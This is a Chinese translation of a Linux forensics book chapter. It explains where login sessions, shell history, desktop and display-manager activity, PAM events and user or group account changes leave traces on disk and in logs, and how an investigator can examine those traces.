以下部分描述了登录会话的工作原理,并识别可能存在的有趣数字取证证据。

席位和会话

要分析 Linux 系统上的人类用户活动,我们必须理解座席、用户和会话的概念。

座席通常由一个或多个屏幕、键盘和鼠标(除非是触摸屏)、音频设备、摄像头及其他人机交互外设组成,这些设备连接到本地工作站。默认座席名为 seat0,并在系统启动时被识别。我们可以在 systemd 日志中查看它:

Jul 23 13:06:11 pc1 systemd-logind[316]: New seat seat0.

当一台 PC 配备了多个键盘和显示器供多人使用时(尽管这种情况比较少见),Linux 系统可以配置为拥有额外的座席。

我们可以通过登录 loginctl seat-status seat0 来查看座席的设备组件,但在事后取证调查中,这些信息是不可用的,必须从日志中推断或重建。有关座席的更多信息,请参阅 sd-login(3) 手册。

用户一词可以指人或进程。人类用户是指拥有计算机用户账户的人,这对应于传统 Unix 的用户名和数字用户 ID(UID)。系统进程(不是人类)也在指定的用户名和 UID 下运行。在对系统进行取证分析时,区分人类用户和系统用户活动非常重要。人类用户通常通过座席或远程 SSH 或其他远程访问方法登录。非人类(系统进程)用户通常是由 systemd 或其他系统用户启动的守护进程。

会话是用户登录的持续时间,可以发生在物理座席上,也可以通过网络连接(如 SSH)进行。成功登录后,用户会获得一个会话 ID,且会话在注销时会被干净地终止。会话由 systemd-logind 记录和管理。Systemd 和显示管理器一起,还可以实现快速用户切换。这意味着多个用户可以同时登录到同一座席,并能安全地在用户之间切换控制权。

注意

“会话”一词在计算机中有多重含义。包括系统登录会话、桌面会话、应用登录会话、浏览器会话、TCP 会话、SSL/TLS 会话等。在进行取证分析和编写取证报告时,请确保清楚理解会话一词的使用。

早期的 Unix 系统价格昂贵,开发了会计日志来便于对用户或部门进行计费。管理员需要了解用户何时登录、何时注销,以及其他可能的使用信息。在现代 Linux 系统中,这主要由 systemd 管理,但一些传统文件仍记录用户登录会话的状态和历史:

/var/log/wtmp 成功登录和注销的历史
/var/log/btmp 失败的登录尝试历史
/var/log/lastlog 最近的用户登录记录
/var/run/utmp 当前登录的用户(仅在运行的系统上)

在进行现代 Linux 系统的事后法医分析时,任何存储在伪文件系统上的临时数据将无法获得(伪文件系统存储在内存中)。除非从内存镜像中恢复,否则无法分析 /var/run/utmp

utmpdump^(1) 工具可用于查看 wtmpbtmp(以及运行系统中的 utmp)的原始内容。以下是一些示例条目:

[1] [00000] [~~  ] [shutdown] [~          ] [5.7.9-arch1-1   ]
 [0.0.0.0        ] [2020-07-23T07:54:31,091222+00:00]
[2] [00000] [~~  ] [reboot  ] [~          ] [5.7.9-arch1-1   ]
 [0.0.0.0        ] [2020-07-23T07:59:19,330505+00:00]
[5] [00392] [tty1] [        ] [/dev/tty1  ] [                ]
 [0.0.0.0        ] [2020-07-23T07:59:21,363253+00:00]
[6] [00392] [tty1] [LOGIN   ] [tty1       ] [                ]
 [0.0.0.0        ] [2020-07-23T07:59:21,363253+00:00]
[7] [00392] [tty1] [sam     ] [tty1       ] [                ]
 [0.0.0.0        ] [2020-07-23T07:59:31,017548+00:00]
[7] [14071] [s/11] [sam     ] [pts/11     ] [10.0.1.30       ]
 [10.0.1.30      ] [2020-07-24T01:44:54,513510+00:00]
[6] [32537] [    ] [ftpuser ] [ssh:notty  ] [122.224.217.42  ]
 [122.224.217.42 ] [2020-07-25T05:46:17,000000+00:00]

输出字段(从左到右,换行后的字段)如下所示,带有描述:^(2)

type 记录类型(见下方的类型列表)

pid 登录进程的 PID(agetty、sshd,或重启和关机时为 0)

id 终端名称后缀(tty 的最后四个字符;如果没有则为空或为波浪符)

user 用户名(失败或成功)或操作(关机、重启等)

line 终端设备名称(如果没有则为波浪符)

host 主机名或 IP 地址字符串(或某些类型的内核信息)

addr IP 地址(IPv4 或 IPv6,如果可用)

time 记录的时间戳

根据记录类型和写入 wtmpbtmp 的程序,字段的内容可能用于不同的信息。例如,类型 1 或 2 时,user 字段用于记录关机或重启,host 字段记录内核版本。同时注意,idline 相似,hostaddress 也类似。任何程序都可以写入 wtmpbtmp 并选择它要使用的字段。虽然这看起来有些冗余,但它增加了不同程序所保存的日志信息量。

以下记录类型编号存储在 wtmpbtmp(以及 /var/run/utmp)中:

0 无效数据

1 运行级别或等效的 systemd 目标发生变化

2 启动时间

3 时钟变更前的时间戳

4 时钟变更后的时间戳

5 由 init 启动的进程

6 提供登录提示

7 用户登录成功

8 进程终止(注销)

欲了解更多信息,请参阅 utmp(5) 手册页。

NOTE

在法医检查中,查找可能的密码在 btmp 文件中。如果用户在登录提示时不小心输入了密码,它将被记录在这里。

utmpdump 的替代工具有 utmpr^(3)(GitHub 上的 github.com/m9/lastlog/) 和一个一行的 Perl 脚本来转储 wtmp 文件(* www.hcidata.info/wtmp.htm*)。

此外,/var/log/lastlog 文件包含系统中每个用户的最近登录信息。这是一个稀疏的二进制文件,可以通过 lastlog 命令在运行的系统上读取。在单独的 Linux 检查主机上运行 lastlog 将产生不正确的结果,因为它读取本地密码文件,因此必须使用离线法医工具。

以下三行 Perl 脚本 (lastlog.pl) 解析嫌疑 Linux 系统的离线 lastlog 文件:

#!/bin/perl -w
$U=0;$/=\292;while(<>){($T,$L,$H)=unpack(IZ32Z256,$_);if($T!=0)
{printf("%5d %s %s %s\n",$U,scalar(gmtime($T)),$L,$H);}$U++;};

在离线检查机器上运行时,输出类似于以下内容:

$ ./lastlog.pl lastlog
    0 Sun Jul 26 09:35:06 2020 tty3
 1000 Sun Jul 26 08:48:19 2020 pts/2 10.0.0.35
 1001 Mon Mar 30 05:41:18 2020 pts/0 10.0.0.35

输出从数字 UID 开始,后跟时间戳。最后两列是使用的行(或终端)和主机名或 IP 地址(如果存在)。相同的信息也包含在 wtmp 日志中,并应匹配。

lslogins 工具将关于 wtmpbtmplastlog 的信息转储到一个表格中(使用 --output-all 标志)。也可以指定在分析机器上使用哪些离线文件副本。然而,运行此命令仍然会读取本地分析机器上的 /etc/passwd/etc/shadow,从而生成不正确的输出。

注意

在分析机器上运行针对实时系统的工具时要小心。在许多情况下,生成的数据将不会关于嫌疑驱动器,而是来自您自己的分析机器。

一些机器会有一个 /var/log/tallylog 文件。该文件维护 pam_tally 的状态,这是一个 PAM 模块,用于计算实时系统上的登录尝试,可能会在登录失败次数过多时进行阻止。有关更多信息,请参见 pam_tally2(8) 手册页。

Shell 登录

用户可以通过本地控制台^(4)登录到 Linux 系统,或者通过 SSH 远程登录。成功验证和授权后,启动一个名为 shell 的程序,用户可以与系统进行交互。这个 shell 程序解释并执行用户输入的命令,或从文本文件中读取并作为 shell 脚本运行。

Linux 系统上最常见的 shell 程序是 Bash;然而,zsh 和 fish 也有活跃的用户社区。默认 shell 定义在用户的 /etc/passwd 条目的最后一个字段中。本节重点介绍 Bash,但取证检查原理应适用于任何 shell(请参考特定 shell 的手册页获取帮助)。

Shell 可以是 交互式(针对用户)或 非交互式(针对脚本)。当作为 登录 shell 启动时(通常是登录时的第一个 shell),会运行几个额外的启动脚本。图 10-1 在本章前面显示了获取登录 shell 的典型过程。

本地 Linux 控制台是通过 PC 显示器和键盘提供的文本模式接口。通过这个物理接口,可以使用多个“虚拟控制台”,可以通过热键(ALT-FN 或 CTRL-ALT-FN)或 chvt 程序进行切换。

当虚拟控制台变为活动状态时,Systemd-logind 启动 agetty^(5) 程序。agetty 守护进程设置终端并显示登录提示。输入用户名后,传递给登录程序,要求输入密码。如果用户名和密码正确且用户已授权,则在用户的 UID 和组 ID(GID)下启动 shell。

通过网络登录到 shell 从 telnet 和 rlogin 引入网络协议以来就一直是可能的。如今,远程登录通常使用更安全的替代方案,如 SSH。

默认情况下,SSH 守护进程(sshd)监听 TCP 端口 22。当收到传入的网络连接时,建立加密通道,进行用户认证,并启动一个 shell。关于分析 SSH 的更多细节将在本章稍后提供,但之前给出的 图 10-1 提供了网络登录的概述。

Linux 系统使用 PAM 库进行多种登录活动。PAM 模块检查密码、验证用户、确定授权并执行其他登录前检查。现代 Linux 系统中的一个重要功能是启动 systemd 用户实例(如果尚未启动)。登录成功后,PAM 将会话注册到 systemd-logind,进而启动 systemd 用户实例。systemd 用户实例有一个 default .target,在用户最终获得 shell 命令提示符之前,会启动多个单元文件(用户守护进程,例如 D-Bus)。

可以通过日志查看 shell 登录活动。此示例展示了一个 SSH 登录,随后是注销:

Aug 16 20:38:45 pc1 sshd[75355]: Accepted password for sam from 10.0.11.1 port 53254 ssh2
Aug 16 20:38:45 pc1 sshd[75355]: pam_unix(sshd:session): session opened for user sam by (uid=0)
Aug 16 20:38:45 pc1 systemd-logind[374]: New session 56 of user sam.
Aug 16 20:38:45 pc1 systemd[1]: Started Session 56 of user sam.
...
Aug 16 20:39:02 pc1 sshd[75357]: Received disconnect from 10.0.11.1 port 53254:11: disconnected
 by user
Aug 16 20:39:02 pc1 sshd[75357]: Disconnected from user sam 10.0.11.1 port 53254
Aug 16 20:39:02 pc1 sshd[75355]: pam_unix(sshd:session): session closed for user sam
Aug 16 20:39:02 pc1 systemd[1]: session-56.scope: Succeeded.
Aug 16 20:39:02 pc1 systemd-logind[374]: Session 56 logged out. Waiting for processes to exit.

注意,在前面三行中,SSH 守护进程接收连接并启动 pam,然后涉及 systemd。SSH 登录也可以在 syslog 文件中找到,如 /var/log/auth.log,或者在其他传统 Unix 位置。

Shell 启动文件

成功登录后,shell 启动并运行多个脚本来设置环境。一些系统脚本由系统管理员配置并由每个用户运行,但用户也可以在自己的主目录中创建和修改其他脚本。Shell 启动脚本(以 Bash 为例)通常包括以下内容:

  • /etc/profile

  • /etc/profile.d/*

  • ~/.bash_profile

  • /etc/bash.bashrc

  • ~/.bashrc

配置文件脚本仅在登录 shell 中运行(通常是用户登录时的第一个 shell)。其他脚本(**rc*)在每次调用 shell 时运行。

退出或注销时,会运行额外的脚本,通常包括以下内容:

  • /etc/bash.bash_logout

  • ~/.bash_logout

应检查这些文件是否有偏离默认设置的变化。特别是,用户在主目录中的自定义可能会很有趣。在系统范围内被攻击的情况下,恶意修改也可能发生在 /etc/ 文件中。

环境变量,特别是那些显式设置的变量,可能很有趣,并且可能透露使用的程序或自定义配置。PATH 变量可能指向一个附加目录,其中包含用户自己的脚本和二进制文件。VISUALEDITOR 变量表示使用的默认编辑器,并且根据编辑器的不同,可能指向关于已编辑文件的附加缓存和历史信息。

Systemd 和 PAM 提供了额外的位置来设置登录时的环境变量:

  • /etc/security/pam_env.conf

  • /etc/environment

  • /etc/environment.d/.conf*

  • /usr/lib/environment.d/.conf*

  • ~/.config/environment.d/.conf*

你可以在 environment.d(5) 和 pam_env.conf(5) 的手册页中找到更多信息。存储在 /run/ 中或在正在运行的系统的内存中修改的变量在事后取证分析中不可用。

Shell 历史

大多数 shell 可以保存输入的命令历史,以便用户可以搜索并调用这些命令,而不是重新输入它们。从调查角度来看,这个命令历史特别有趣,因为这些命令是由人类用户显式输入的。然而,在登录被破坏的情况下,命令历史也可能来自恶意脚本。

Shell 历史通过环境变量(以 HIST* 开头)进行配置,这些变量指定了使用的文件、保存的命令数量、时间戳格式以及特定 shell 提供的其他历史功能。默认的 Bash 历史文件是 ~/.bash_history。该文件包含一个简单的命令列表。希望提高取证准备的组织可以在 Bash 中设置 HISTTIMEFORMAT 变量,以在历史记录中包含时间戳。每个用户(包括 root)都可能有一个 shell 历史文件。

检查 shell 历史记录可以提供有关用户活动和行为的洞察。可以在 shell 历史记录中观察到或寻找的项目、活动和行为包括:

  • 技能水平(简单命令或表明初学者的错误)

  • 揭示的文件名(来自创建、编辑或删除的文件)

  • 修改系统配置的命令

  • 手动设置隧道、代理或 VPN

  • 挂载本地或远程文件系统或加密容器

  • 测试本地守护进程或远程主机上的功能

  • 输入的密码(无论是偶然输入还是作为命令行参数)

  • 通过运行 pingnslookupssh 或其他网络工具泄露的其他 IP 地址或主机名

  • 意外复制/粘贴到终端窗口中的文本信息

  • 任何揭示意图或思维过程的命令序列

输入的命令会存储在内存中,并在 shell 退出时写入历史文件。历史文件可能包含来自多个不同时间退出的 shell 实例的命令,因此保存的命令可能不是按时间顺序排列的。

如果历史文件被显式禁用、删除、清空或符号链接到 /dev/null,则表明怀疑用户或攻击者具有一定的安全意识或更高的技能水平。有关 Bash 历史取证的精彩 SANS 演讲,请参见 youtu.be/wv1xqOV2RyE/

X11 和 Wayland

X11 窗口系统曾是 Unix 系统的事实标准图形界面,也是 Linux 社区的自然选择。如今,Linux 上最流行的 X11 实现是 X.Org,自从从 XFree86 项目分叉以来,已经加入了许多新的扩展和增强功能。

X.Org将应用程序连接到输入设备(如键盘、鼠标、触摸屏等)以及输出设备,如显卡和显示器。除了X.Org之外,还需要一个单独的窗口管理器来管理窗口(放置、装饰、调整大小、移动等)。在窗口管理器之上,桌面环境通常会提供额外的“外观和感觉”或甚至完全独立的图形外壳。这些组件和子组件中的每一个都可能存储在数字取证环境中有用的信息。

大部分的X.Org配置是自动完成的;然而,手动调整和定制通常可以在/etc/X11/xorg.conf/etc/X11/xorg.conf.d/目录下的文件中找到。默认情况下,会创建X.Org活动日志,并写入到/var/log/Xorg.0.log(在某些情况下,可能位于用户的.local/share/xorg/Xorg.0.log中)。该文件的内容描述了图形硬件、显示器、输入设备、默认屏幕分辨率等信息。以下是从此类日志中提取的一些示例:

...
[  31.701] (II) NVIDIA(0): NVIDIA GPU GeForce GTX 1050 Ti (GP107-A) at PCI:1:0:0 (GPU-0)
[  31.701] (--) NVIDIA(0): Memory: 4194304 kBytes
[  31.701] (--) NVIDIA(0): VideoBIOS: 86.07.59.00.24
...
[  31.702] (--) NVIDIA(GPU-0): LG Electronics LG ULTRAWIDE (DFP-2): connected
...
[  31.707] (II) NVIDIA(0): Virtual screen size determined to be 3840 x 1600
...
[  31.968] (II) config/udev: Adding input device Logitech M280/320/275 (/dev/input/event5)
...
[  31.978] (II) XINPUT: Adding extended input device "LEOPOLD Mini Keyboard" (type: KEYBOARD,
 id 12)
...

日志中可能还存在其他实例,如/var/log/Xorg.1.log文件。与旋转日志文件不同,这不是旧版本,而是表示已记录的显示(0、1,依此类推)。日志的旧版本也可能存在,并且具有.old文件扩展名。

Xorg日志文件包含用于描述日志条目的“标记”:

(–)     探测到

(**)     来自配置文件

(==)     默认设置

(++)     来自命令行

(!!)     注意

(II)     信息

(WW)     警告

(EE)     错误

(NI)     未实现

(??)     未知

如果用户曾使用 X11 并后来切换到 Wayland,这个日志可能仍然存在,并提供从早期时间点的信息。你可以在 Xorg(1)手册页中找到更多关于X.Org的信息。

图 10-2 展示了 X11 的基本架构。桌面计算的发展使得许多 X11 原始设计决策变得过时,因此需要一种更现代的窗口系统。Wayland 被设计为替代品,并且大多数 Linux 发行版正朝着基于 Wayland 的桌面系统发展。

Image

图 10-2:X11 架构

窗口管理器用于 X11 环境中管理窗口。从功能上讲,窗口管理器只是另一个 X11 客户端。大多数 Linux 发行版和图形环境都有默认的窗口管理器。一些流行的 X11 窗口管理器包括:

  • Mutter(GNOME 默认)

  • KWin(KDE 默认)

  • Xfwm4(Xfce 默认)

  • Openbox(LXDE 默认)

  • Fluxbox、FVWM 以及像 i3 这样的平铺窗口管理器

每个窗口管理器都会有自己的配置和日志文件。有关更多信息,请参阅相关文档。

Wayland 使用与 X11 不同的模型,将窗口管理、合成和其他功能结合在一起。图 10-3 显示了 Wayland 的架构。通过比较 X11 和 Wayland 的架构,可以看到它们的差异。顺便提一下,Wayland 并不专属于 Linux,还用于其他操作系统,如 BSD。

Image

图 10-3:Wayland 架构

关于 X11 和 Wayland 之间架构差异的更多信息,请访问 wayland.freedesktop.org/architecture.html

Wayland 合成器越来越受欢迎。Mutter 和 KWin 都支持 Wayland(除了 X11),而高级用户则使用像 Sway(Wayland 的 i3 克隆)或 Hikari(最初为 FreeBSD 开发)这样的专业合成器。每个合成器都有可以检查的配置和日志功能,但对个别合成器的法医分析超出了本书的范围。

桌面登录

典型的 Linux 桌面和笔记本系统有一个图形登录屏幕。这个屏幕有时被称为 greeter,由一个名为 display manager 的守护进程提供。显示管理器设置本地机器的图形并提供登录前的选项(例如语言、屏幕亮度、辅助功能等)。

显示管理器与使用的图形环境无关,它可能允许用户在登录后选择想要使用的图形环境。目前最流行的显示管理器是 GDM(GNOME 默认)和 SDDM(KDE Plasma 默认)。

你可以通过检查 systemd display-manager.service 单元文件来确定使用的桌面管理器,该文件是实际显示管理器的符号链接。在以下示例中,默认目标被符号链接到图形目标,并指定(Wants=)显示管理器服务:

default.target -> /lib/systemd/system/graphical.target
Wants=display-manager.service

显示管理器服务是符号链接到 GDM 服务,该服务启动(ExecStart=)GDM 守护进程:

display-manager.service -> /usr/lib/systemd/system/gdm.service
ExecStart=/usr/bin/gdm

根据配置,GDM 显示管理器可能会将日志保存在 /var/log/gdm/ 中,或者在 systemd 日志中留下痕迹。

SDDM 显示管理器可能将日志保存在 /var/log/sddm.log 中,并且还会在 systemd 日志中记录活动(搜索 sddm)。成功登录后,SDDM 显示管理器将会话日志存储在用户的主目录中,供检查:

$ ls -l /home/sam/.local/share/sddm
total 24
-rw------- 1 sam sam 20026 Jun 14 12:35 wayland-session.log
-rw------- 1 sam sam 2514 Jun 14 15:38 xorg-session.log

可能存在与桌面环境相关的其他日志,这些日志与 Wayland 或 X11 会话相关。

通过显示管理器成功登录后,多个进程将被启动。例如:

  • 系统用户实例(systemd --user

  • 桌面会话管理器(gnome-sessionplasma_sessionxfce4-session 等)

  • 窗口管理器(如果运行 X11)

  • 系统用户单元

  • XDG 会话自动启动项(.desktop 文件)

  • D-Bus 会话实例

  • 代理(polkit、gpg、ssh 等)

  • 桌面或图形外壳

  • 支持桌面环境的守护进程(设置、Pulseaudio 或 PipeWire、蓝牙等)

每个组件将在用户的 UID 下运行。配置、日志、缓存和其他相关数据通常可以在用户的 XDG 目录中找到。(参考图 10-1 了解图形登录过程的概述。)

systemd 用户实例(与 systemd 系统实例不同)负责激活启动和监督登录会话所需的单元。当 PAM 将会话注册到 systemd-logind 时,启动 systemd 用户实例。用户单元文件位于这里:

  • /usr/lib/systemd/user/*

  • /etc/systemd/user/*

  • ~/.config/systemd/user/*

每个目录都会覆盖前一个目录。前两个目录是供应商和系统管理员的默认值。最后一个目录包含用户主目录中的自定义配置。在取证检查中,可以检查这些目录以发现与预期默认设置的偏差,或系统管理员、用户或恶意行为者添加的任何自定义内容。systemd 用户实例的系统范围配置文件位于/etc/systemd/user.conf/etc/systemd/logind.conf文件中。

除了 systemd 用户实例,桌面会话管理器还将通过自己的启动文件启动用户的登录环境。XDG 桌面定义文件(.desktop)提供启动用户桌面环境所需的信息。XDG 标准还定义了存储桌面配置文件的常用位置。这些文件位于自动启动目录中,并且特定于桌面环境的文件会被读取并启动相应的应用程序。系统默认和用户自定义的目录位置(用户创建的文件优先)位于这里:

  • /etc/xdg/autostart/*

  • ~/.config/autostart/*

窗口管理器和桌面外壳也可能有自己的autostart目录,其中包含启动相关组件的桌面文件。XDG 桌面条目规范可以在specifications.freedesktop.org/desktop-entry-spec/找到。

定义文件具有.desktop扩展名,并描述桌面组件应如何启动。以下示例展示了几个条目,说明定义文件的内容:

$ cat gnome-keyring-secrets.desktop
[Desktop Entry]
Type=Application
...
Name[en_GB]=Secret Storage Service
...
Comment[de]=GNOME-SchlÃsselbunddienst: Sicherheitsdienst
...
Exec=/usr/bin/gnome-keyring-daemon --start --components=secrets
OnlyShowIn=GNOME;Unity;MATE;Cinnamon;
...

这里描述了一个应用程序(稍后在本章讨论的 GNOME Keyring)。文件包含名称和注释的多语言内容,并指定定义文件有效的上下文。同时也定义了要执行的程序和标志。

Systemd 和 XDG 都提供了类似的功能来设置桌面环境。由于 XDG 被广泛使用,并且主要发行版承诺保持兼容性,两个系统都可以进行检查。许多桌面环境正在将 XDG 桌面启动活动迁移到 systemd,这一过程复杂,需要与 XDG .desktop 文件保持向后兼容。如果 .desktop 文件包含 X-GNOME-Hidden UnderSystemd=true 这一行,表示 GNOME 会话管理器应忽略该文件,因为它是由 systemd 启动的。^(6)

一些会话管理器可以保存和恢复桌面状态。这些文件可以检查,以确定之前保存状态中哪些窗口可能已经打开。保存的会话信息的位置因桌面环境而异,常见的位置包括:

  • ~/.cache/sessions/

  • ~/.config/session/

  • ~/.config/gnome-session/saved-session/

  • ~/.config/ksmserverrc

会话可能会在退出时自动保存,或者由用户明确请求。根据桌面环境及其配置,会话管理器可能保存一个简单的打开程序列表,并包含窗口的大小和屏幕上的位置。

快速用户切换

通过在不同的虚拟控制台中启动会话,多个用户可以同时登录到不同的图形环境中。用户之间的切换可以通过热键(CTRL-ALT-FN)、chvt 命令,或当前图形环境中的切换用户选项来完成。用户切换可能意味着多个人在同一台机器上使用,或者一个人在同一台机器上使用多个身份。

也称为快速用户切换,通常在图形环境中提供一个菜单选项(如果有多个用户),该选项会锁定屏幕并跳转到显示管理器,在那里可以验证另一个用户的身份。根据显示管理器的不同,这一过渡可能会出现在日志中。以下示例日志显示,由于用户切换,启动了一个新的 GDM 会话(登录屏幕),并在不到一分钟后,在第二个用户成功验证后结束:

Jul 03 15:05:42 pc1 systemd-logind[401]: New session 26 of user gdm.
Jul 03 15:05:42 pc1 systemd[1]: Started Session 26 of user gdm.
...
Jul 03 15:06:20 pc1 systemd-logind[401]: Session 26 logged out. Waiting for
 processes to exit.
Jul 03 15:06:20 pc1 systemd-logind[401]: Removed session 26.

当显示管理器在没有用户注销的情况下启动时,表明可能发生了用户切换。这些信息提供了一个起点,可以检查周围的日志和文件系统时间戳,以确定切换前后哪些用户是活跃的。用户切换也可以由另一位用户在锁定屏幕时发起。

身份验证与授权

当用户想要访问 Linux 系统时,在授予访问权限之前会进行一系列检查。系统会寻找一个指示,确认此人确实是他们所声称的身份,并且他们确实有权访问所需的资源。如今,这通常通过 PAM 来完成。PAM 可以在用户和系统之间提供身份验证和授权控制,无论是在登录时还是在整个用户登录会话期间。

PAM 配置文件位于 pam.conf 文件和 /etc/pam.d/ 目录下。PAM 还记录尝试进行身份验证和授权的成功与失败。以下是几个示例:

➊ Dec 26 19:31:00 pc1 sshd[76857]: pam_unix(sshd:session): session opened for
    user sam(uid=1000) by (uid=0)
   Dec 26 19:31:20 pc1 sshd[76857]: pam_unix(sshd:session): session closed for
    user sam
   ...
➋ Dec 26 19:26:50 pc1 login[76823]: pam_unix(login:session): session opened for
    user sam(uid=1000) by LOGIN(uid=0)
   Dec 26 19:28:04 pc1 login[76823]: pam_unix(login:session): session closed for
    user sam
   ...
➌ Dec 26 19:45:40 pc1 gdm-password][6257]: pam_unix(gdm-password:session):
    session opened for user sam(uid=1000) by (uid=0)
   Dec 26 19:46:46 pc1 gdm-password][6257]: pam_unix(gdm-password:session):
    session closed for user sam

前两行 ➊ 显示的是通过网络进行的 SSH 登录和登出的日志。接下来的两行 ➋ 显示的是在本地虚拟控制台上(文本登录提示)进行的登录和登出的日志。最后两行 ➌ 显示的是使用 GDM(典型的图形登录界面)进行的登录和登出。

用户、组和密码文件

Linux 采用了 Unix 的用户名和组的概念和实现。传统上,这些用户名和组会列在 /etc/ 目录中的几个文件里。^(7) 密码文件 /etc/passwd(不再包含密码)列出了系统中定义的用户及一些附加信息。影子文件 /etc/shadow 包含每个(已启用)用户的哈希密码。组文件 /etc/group 列出了组及其成员。每个用户都有一个默认的组(通常以用户名命名),并可以被添加到其他组以便访问文件和资源。

passwdshadowgroup 文件的格式在 passwd(5)、^(8) shadow(5) 和 group(5) 手册页中有描述。这些文件是纯文本格式,每行一个用户/组,每行有多个字段。以下是 passwd 文件中的一些摘录:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
sam:x:1000:1000:Samantha Samuel:/home/sam:/bin/bash

passwd 文件的字段(用冒号分隔)如下:

  • 登录名

  • 密码字段(x 表示密码存储在 /etc/shadow 中;! 表示密码访问被锁定;空字段表示不需要密码,应用程序可以选择允许访问)

  • 数字用户 ID

  • 数字组 ID

  • 注释字段(通常是用户的全名)

  • 用户的主目录

  • 用户的 Shell 程序(nologin 程序会直接拒绝登录尝试)

/etc/passwd 文件在早期 Unix 系统中曾是盗窃的主要目标。任何窃取此文件的人都可以获得一个用户列表和加密/哈希密码,这些密码可能会被破解。这一弱点促使了影子密码文件的开发。

/etc/shadow 文件不能被普通用户读取,因为它包含(加密的)密码和其他可能敏感的信息。以下是一些来自影子文件的示例:

daemon:*:17212:0:99999:7:::
...
sam:$6$6QKDnXEBlVofOhFC$iGGPk2h1160ERjIkI7GrHKPpcLFn1mL2hPDrhX4cXyYa8SbdrbxVt.h
nwZ4MK1fp2yGPIdvD8M8CxUdnItDSk1:18491:0:99999:7:::

shadow 文件的字段(用冒号分隔)如下:

  • 登录名

  • 加密密码(如果不是有效的密码字符串,则会阻止密码访问)

  • 最后一次密码更改的日期(自 1970 年 1 月 1 日以来的天数)

  • 用户被允许更改密码的天数(如果为空,则用户可以随时更改密码)

  • 用户必须更改密码的天数(如果为空,则用户永远不必更改密码)

  • 密码警告期(密码过期前的天数)

  • 密码宽限期(用户过期后可以更改密码的天数)

  • 帐号过期日期(自 1970 年 1 月 1 日以来的天数)

  • 未使用的字段预留给未来使用

在构建用户活动的取证时间线时,最后一次密码更改日期可能非常重要。

加密的密码字段包含三个由美元符号($)分隔的字段。这些字段分别是使用的加密算法、加密盐值(用来增加破解难度)和加密的密码字符串。加密算法包括:

1 MD5
2a Blowfish
5 SHA-256
6 SHA-512

请参阅 crypt(3) 手册页获取更多信息。

/etc/group 文件存储关于 Unix 组的信息,包括组成员列表。以下是一个典型 group 文件的部分摘录:

root:x:0:
daemon:x:1:
...
sudo:x:27:sam,fred,anne

组文件的字段(由冒号分隔)如下:

  • 组名

  • 密码(如果使用,则密码信息存储在 gshadow 文件中)

  • 数字组 ID

  • 以逗号分隔的成员列表

每个用户的默认组定义在 /etc/passwd 文件中。/etc/group 文件可以提供额外的组配置。例如,注意 sudo 组列出了可以使用 sudo 程序的用户。

用户和组只是映射到数字的可读名称:用户 ID(UID)和组 ID(GID)。passwdgroup 文件定义了名称到数字的分配。^(9) 对于特定的 UID 或 GID 数字,没有要求必须分配用户或组名称。为说明这一点,观察以下命令序列:

# touch example.txt
# chown 5555:6666 example.txt
# ls -l example.txt
-rw-r----- 1 5555 6666 0 5\. Mar 19:33 example.txt
#

在此示例中,文件是使用 touch 命令创建的。然后,使用 chown 命令将用户和组更改为在密码或组文件中未定义的数字值。从目录列表中可以看到,未知用户为 5555,未知组为 6666。从取证角度来看,具有未分配用户和组的文件很有趣,因为它们可能表示一个先前删除的用户/组或隐藏恶意活动的尝试。

如何找到没有分配 UID 或 GID 的文件?在活动系统中,find 命令具有 -nouser-nogroup 选项,可用于扫描没有分配现有用户或组的文件。在事后检查的磁盘镜像中,取证软件可能具备识别此类文件的能力(例如使用 EnCase EnScript)。已识别的文件和目录可以进一步分析,以回答某些问题:

  • 文件是如何以及为什么创建的?

  • 原始用户和组发生了什么?

  • 文件的时间戳是否有趣或相关?

  • 这个 UID 或 GID 是否出现在任何日志中?

  • 在运行的系统中,是否有任何进程具有相同的 UID 和 GID?

有几种方法可以创建和删除用户和组。系统管理员可以手动编辑 passwdshadowgroup 文件,添加或删除分配的 UID 或 GID。也可以使用 useraddgroupadd 等命令行工具。发行版可能还提供图形配置工具来添加用户和组。

当用户或组被创建或修改时,一些工具会制作密码、组、shadow 文件等的备份副本。备份副本的名称与原文件相同,只是末尾会加上连字符(-),如下所示:

  • /etc/passwd-

  • /etc/shadow-

  • /etc/gshadow-

  • /etc/group-

  • /etc/subuid-

这些备份副本通常与原始文件相同。如果文件不同,则可能是手动修改的,或者使用了不支持该备份约定的其他工具。检查差异可能揭示之前已删除、添加或修改的用户。

passwd 文件包含了人类用户和系统用户。在分析人类用户活动时,了解二者的区别非常重要。passwdgroup 中的数字 ID 字段可以帮助在法医调查中做出区分。以下列表描述了一些标准用户、组和分配的数字范围:

0 root(LSB 必需)

1 daemon(LSB 必需)

2 bin(LSB 必需)

0–100 系统分配

101–999 应用程序分配

1000–6000 普通(人类)用户帐户

65534 nobody

偏离这些标准的 UID 和 GID 范围对于法医调查员来说很有趣,因为它们可能表明用户和组的手动修改或非标准创建。

大多数 Linux 发行版在创建新用户时会分配 UID 从 1000 开始,并为默认组分配相同的 GID。然而,用户的 UID 和 GID 不必是相同的数字。如果用户的 UID 与 GID 不同,则意味着可能手动创建了一个额外的组。

创建新用户或组的操作可能会出现在 root 用户的 shell 历史记录中(例如 useradd fred),或者普通用户的 shell 历史记录中(例如 sudo useradd fred)。如果用户是通过图形界面工具创建的,则可能在日志中显示如下:

Aug 17 20:21:57 pc1 accounts-daemon[966]: request by system-bus-name::1.294
 [gnome-control-center pid:7908 uid:1000]: create user 'fred'
Aug 17 20:21:57 pc1 groupadd[10437]: group added to /etc/group: name=fred,
 GID=1002
Aug 17 20:21:57 pc1 groupadd[10437]: group added to /etc/gshadow: name=fred
Aug 17 20:21:57 pc1 groupadd[10437]: new group: name=fred, GID=1002
Aug 17 20:21:57 pc1 useradd[10441]: new user: name=fred, UID=1002, GID=1002,
 home=/home/fred, shell=/bin/bash

在这个例子中,GNOME 的 gnome-control-center(设置程序)请求 accounts-daemon(属于 AccountsService; www.freedesktop.org/wiki/Software/AccountsService/) 创建一个用户(fred)。这个 D-Bus 服务通过系统工具,如 useraddgroupadd,访问并配置本地用户帐户。AccountService 最初为 GNOME 开发,但可以被任何发行版使用。

删除用户仅意味着在 shadow、password 和 group 文件中定义的用户和 ID 记录已被删除。以下是从日志中找到的示例(从前面的示例中删除 fred):

Aug 17 20:27:22 pc1 accounts-daemon[966]: request by system-bus-name::1.294
 [gnome-control-center pid:7908 uid:1000]: delete user 'fred' (1002)
Aug 17 20:27:22 pc1 userdel[10752]: delete user 'fred'

